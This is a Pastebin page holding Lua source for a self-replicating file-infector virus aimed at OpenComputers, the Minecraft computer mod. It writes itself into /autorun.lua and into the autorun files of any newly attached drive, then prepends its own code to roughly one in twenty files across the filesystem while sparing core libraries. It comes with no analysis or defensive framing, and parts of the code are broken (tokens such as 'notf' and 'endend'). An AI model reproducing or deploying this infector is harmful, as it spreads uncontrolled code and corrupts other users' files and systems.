Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- -- warning: mapping not found --
- local a = require("component")
- local b = require("filesystem")
- local c = require("event")
- c.listen("component_added",function(d)
- if a.list()[d] == "filesystem" then
- local e = string.sub(d,1,3)
- if e == "f1d" then
- return
- end
- local f = ""
- if b.exists("/mnt/" .. e .. "/autorun.lua") then
- local file = b.open("/mnt/" .. e .. "/autorun.lua","r")
- f = file:read(math.huge)
- if notf then
- f = ""
- end
- file:close()
- end
- file = b.open("/mnt/" .. e .. "/autorun.lua","w")
- file:write(script .. f)
- file:close()
- infi("/mnt/" .. e .. "/")
- endend)
- function script_path()
- local g = debug.getinfo(2,"S").source:sub(2)
- return g
- end
- local script = b.open(script_path(),"r")
- local h = script:read(math.huge)
- script:close()
- script = h
- local f = ""
- if b.exists("/autorun.lua") then
- local file = b.open("/autorun.lua","r")
- f = file:read(math.huge)
- if notf then
- f = ""
- end
- file:close()
- end
- file = b.open("/autorun.lua","w")
- file:write(script .. f)
- file:close()
- function infi(i)
- if noti then
- i = "/"
- end
- local j = b.list(i)
- for k, l in j do
- if b.isDirectory(i .. k) and k ~= "dev/" and k ~= "boot/" and i .. k ~= "/lib/core/" then
- infi(i .. k .. "/") else
- if math.random(1,20) == 1 and i .. k ~= "/lib/filesystem.lua" and i .. k ~= "/lib/package.lua" and i .. k ~= "/etc/motd" and i .. k ~= "/lib/io.lua" and i .. k ~= "/lib/process.lua" and i .. k ~= "/lib/keyboard.lua" and i .. k ~= "/lib/devfs.lua" and i .. k ~= "/lib/event.lua" and k ~= "init.lua" then
- local file = b.open(i .. k,"r")
- local f = file:read(math.huge)
- file:close()
- file = b.open(i .. k,"w")
- file:write(script .. f)
- file:close()
- end
- end
- end
- end
- infi()
- local lib = {}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement